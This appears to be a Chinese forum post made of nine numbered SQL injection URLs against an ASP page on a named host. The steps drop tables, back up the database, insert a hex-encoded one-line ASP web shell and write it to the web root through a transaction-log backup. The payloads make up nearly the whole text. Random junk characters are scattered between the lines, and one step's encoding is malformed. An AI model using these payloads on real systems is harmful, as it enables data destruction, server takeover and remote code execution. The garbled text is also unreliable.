第一步- R' b0 \8 j2 H' d! X/ r. S4 Q1 ^
http://itpro.blog.163.com/test.asp';alter/**/database/**/[netwebhome]/**/set/**/recovery/**/full[/url]--
2 w0 {9 X/ C: ?/ t# p
9 p0 D U4 v, ^$ \4 h第二步:
3 p7 ^9 q& b. T9 `; z& {http://itpro.blog.163.com/test.asp';declare/**/@d/**/nvarchar(4000)/**/select/**/@d%3D0x640062006200610063006B00/**/backup/**/database/**/[netwebhome]/**/to/**/disk%3D@d/**/with/**/init--' y0 U* f6 Z! D' a: Q
) N7 `7 }1 @4 e( Y A2 Y4 O第三步
8 {" R2 [$ E6 E& |http://itpro.blog.163.com/test.asp';drop/**/table/**/[itpro]--' e$ m: _0 t4 I: r' R- B! k
! n. b& e& @" Z6 D3 j" d第四步
, ^% U+ t/ J9 ?: r6 C8 D1 W& W7 ahttp://itpro.blog.163.com/test.asp';create/**/table/**/[itpro]([a]/**/image)--2 K* L! j/ e5 U) r
7 O) r% d- F- M. o$ y @第五步
. y R1 N( t* Y$ i: rhttp://itpro.blog.163.com/test.asp';declare/**/@d/**/nvarchar(4000)/**/select/**/@d%3D0x640062006200610063006B00/**/backup/**/log/**/[netwebhome]/**/to/**/disk%3D@d/**/with/**/init--
# h S1 r ?: k) o3 K
6 J) [8 z# ]- p1 N5 N; k第六步' w W" ^5 D' v' ~. t1 x
http://itpro.blog.163.com/test.asp';insert/**/into/**/[itpro]([a])/**/values(0x3C254578656375746528726571756573742822697470726F222929253E)--- s/ V: ?) m' m$ A! J9 }, Q
- p9 T; ^& d2 P* `" O! w
第七步5 @" v' l! k# f, k* q& s
http://itpro.blog.163.com/test.asp';declare/**/@d/**/nvarchar(4000)/**/select/**/@d%0x64003A005C007700770077005C0077007700770072006F006F0074005C0077006F0077005C006C006500660074002E00610073007000/**/backup/**/log/**/[netwebhome]/**/to/**/disk%3D@d/**/with/**/init--
/ z$ M2 {! P- v- f+ l9 [4 O2 l2 K
第八步! ^3 q R3 U" K
http://itpro.blog.163.com/test.asp';drop/**/table/**/[itpro]--
/ S/ M) U8 b- i9 A' o) C9 j: h# p1 O
* V6 K2 X& o! N3 Z' ?$ r* ?/ X' U第九步
# `& m0 @% E% e* Ihttp://itpro.blog.163.com/test.asp';declare/**/@d/**/nvarchar(4000)/**/select/**/@d%3D0x640062006200610063006B00/**/backup/**/log/**/[netwebhome]/**/to/**/disk%3D@d/**/with/**/init--5 H# ]$ q8 q- l1 b
|